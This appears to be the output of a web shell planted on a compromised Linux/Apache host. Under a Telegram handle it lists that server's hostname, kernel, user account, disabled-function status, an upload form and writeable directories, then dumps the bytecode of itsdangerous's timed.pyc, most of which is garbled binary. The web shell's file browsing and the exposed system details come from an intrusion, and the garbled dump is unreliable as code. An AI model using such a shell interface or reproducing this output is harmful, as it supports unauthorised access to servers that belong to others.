https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/itsdangerous/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/itsdangerous/timed.pyc
�
-/�_c@s�ddlZddlmZddlmZddlmZddlmZddlmZddlmZdd	lm	Z	dd
l
mZddl
mZddl
m
Z
dd
lmZddlmZdefd��YZdefd��YZdS(i����N(tdatetimei(t	text_type(t
base64_decode(t
base64_encode(tbytes_to_int(tint_to_bytes(t
want_bytes(tBadSignature(tBadTimeSignature(tSignatureExpired(t
Serializer(tSignertTimestampSignercBsDeZdZd�Zd�Zd�Zded�Zdd�Z	RS(s�Works like the regular :class:`.Signer` but also records the time
    of the signing and can be used to expire signatures. The
    :meth:`unsign` method can raise :exc:`.SignatureExpired` if the
    unsigning failed because the signature is expired.
    cCsttj��S(sTReturns the current timestamp. The function must return an
        integer.
        (tintttime(tself((s:/tmp/pip-install-sTXtzD/itsdangerous/itsdangerous/timed.pyt
get_timestampscCs
tj|�S(saUsed to convert the timestamp from :meth:`get_timestamp` into
        a datetime object.
        (Rtutcfromtimestamp(Rtts((s:/tmp/pip-install-sTXtzD/itsdangerous/itsdangerous/timed.pyttimestamp_to_datetimescCsVt|�}tt|j���}t|j�}|||}|||j|�S(s:Signs the given string and also attaches time information.(RRRRtsept
get_signature(Rtvaluet	timestampR((s:/tmp/pip-install-sTXtzD/itsdangerous/itsdangerous/timed.pytsign$s
c
Cs�ytj||�}d}Wn(tk
rF}|}|jp@d}nXt|j�}||kr�|rq|�ntdd|��n|j|d�\}}yt	t
|��}Wntk
r�d}nX|dk	r�tt|�d|d|��n|dkrtdd|��n|dk	ru|j
�|}	|	|krutd|	|fd|d|j|���qun|r�||j|�fS|S(	s=Works like the regular :meth:`.Signer.unsign` but can also
        validate the time. See the base docstring of the class for
        the general behavior. If ``return_timestamp`` is ``True`` the
        timestamp of the signature will be returned as a naive
        :class:`datetime.datetime` object in UTC.
        tstimestamp missingtpayloaditdate_signedsMalformed timestampsSignature age %s > %s secondsN(RtunsigntNoneRRRRRtrsplitRRt	ExceptionRRR	R(
RRtmax_agetreturn_timestamptresultt	sig_errorteRRtage((s:/tmp/pip-install-sTXtzD/itsdangerous/itsdangerous/timed.pyR,s>
	

cCs4y|j|d|�tSWntk
r/tSXdS(seOnly validates the given signed value. Returns ``True`` if
        the signature exists and is valid.R N(RtTrueRtFalse(Rtsigned_valueR ((s:/tmp/pip-install-sTXtzD/itsdangerous/itsdangerous/timed.pytvalidatees

N(
t__name__t
__module__t__doc__RRRRR'RR)(((s:/tmp/pip-install-sTXtzD/itsdangerous/itsdangerous/timed.pyRs			9tTimedSerializercBs5eZdZeZdedd�Zddd�ZRS(sOUses :class:`TimestampSigner` instead of the default
    :class:`.Signer`.
    cCs�t|�}d}x�|j|�D]z}yE|j||dt�\}}|j|�}	|rh|	|fS|	SWq"tk
r��q"tk
r�}
|
}q"Xq"W|�dS(s�Reverse of :meth:`dumps`, raises :exc:`.BadSignature` if the
        signature validation fails. If a ``max_age`` is provided it will
        ensure the signature is not older than that time in seconds. In
        case the signature is outdated, :exc:`.SignatureExpired` is
        raised. All arguments are forwarded to the signer's
        :meth:`~TimestampSigner.unsign` method.
        R!N(RRtiter_unsignersRR&tload_payloadR	R(RtsR R!tsalttlast_exceptiontsignertbase64dRRterr((s:/tmp/pip-install-sTXtzD/itsdangerous/itsdangerous/timed.pytloadsvs

cCs)i|d6}i}|j||||�S(NR (t_loads_unsafe_impl(RR0R R1tload_kwargstload_payload_kwargs((s:/tmp/pip-install-sTXtzD/itsdangerous/itsdangerous/timed.pytloads_unsafe�s
N(	R*R+R,Rtdefault_signerRR'R6R:(((s:/tmp/pip-install-sTXtzD/itsdangerous/itsdangerous/timed.pyR-os(RRt_compatRtencodingRRRRRtexcRRR	t
serializerR
R3RRR-(((s:/tmp/pip-install-sTXtzD/itsdangerous/itsdangerous/timed.pyt<module>s^

https://t.me/AnonymousX5 - 2025